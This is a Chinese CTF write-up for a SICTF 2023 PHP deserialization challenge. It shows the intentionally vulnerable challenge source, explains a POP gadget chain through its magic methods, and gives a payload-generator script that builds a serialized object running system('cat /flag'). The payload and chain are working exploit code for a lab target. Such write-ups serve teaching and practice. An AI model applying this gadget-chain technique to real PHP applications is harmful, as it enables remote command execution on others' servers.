首先先上pop链构造基础
__construct() //当对象创建时触发
__destruct() //当对象销毁时触发
__wakeup() //当使用unserialize时触发
__sleep() //当使用serialize时触发
__destruct() //当对象被销毁时触发
__call() //当对象上下文中调用不可访问的方法时触发
__get() //当访问不可访问或不存在的属性时触发
__set() //当设置不可访问或不存在属性时触发
__toString() //当把类当作字符串使用时触发
__invoke() //当对象调用为函数时触发
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
class Happy{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
die("Wishes can be fulfilled");
}
}
class Nevv{
private $happiness;
public function __invoke()
{
return $this->happiness->check();
}
}
class Rabbit{
private $aspiration;
public function __set($name,$val){
return $this->aspiration->family;
}
}
class Year{
public $key;
public $rabbit;
public function __construct($key)
{
$this->key = $key;
}
public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
}
public function __get($name)
{
$name = $this->rabbit;
$name();
}
public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
}else {
echo "过新年啊~过个吉祥年~";
}
?>
POP链构造思路
- 首先发现
Happy
类中有call_user_func
代码执行函数,条件为触发__call()
Nevv
中存在调用不可调用的check()
方法, 条件为触发__invoke()
- 在
Year
类中发现$name()
可触发invoke
方法,条件为触发__get()
- 在
Rabbit
类中family
为不可访问属性,触发__get()
,条件为触发__set()
- 在
Year
类方法中发现firecrackers()
可触发__set()
,条件为类属性key="happy new year"
伪思路代码构造
$Year = new Year("happy new year")
$Year->rabbit = new Rabbit()
//因为不需要调用firecrackers()
$Year->rabbit->aspiration = new Year("xx")
$Year->rabbit->aspiration->rabbit = new Nevv()
$Year->rabbit->aspiration->rabbit->happiness = new Happy("system", "cat /flag");
由于private存在,因此构造payload的php就需要添加构造函数
Payload生成代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class Happy{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
die("Wishes can be fulfilled");
}
}
class Nevv{
private $happiness;
public function __construct(){
$this->happiness = new Happy("system", "cat /flag");
}
public function __invoke()
{
return $this->happiness->check();
}
}
class Rabbit{
private $aspiration;
public function __construct(){
$this->aspiration = new Year("xx");
$this->aspiration->rabbit = new Nevv();
}
public function __set($name,$val){
return $this->aspiration->family;
}
}
class Year{
public $key;
public $rabbit;
public function __construct($key)
{
$this->key = $key;
}
public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
}
public function __get($name)
{
$name = $this->rabbit;
$name();
}
public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
}
$year = new Year("happy new year");
$year->rabbit = new Rabbit();
// serialize
echo serialize($year)."<br/>";
echo urlencode(serialize($year))."<br/>";
?>
标签:__,function,SICTF,兔年,Year,rabbit,2023,new,public
From: https://www.cnblogs.com/0xo0Kerk/p/17062858.html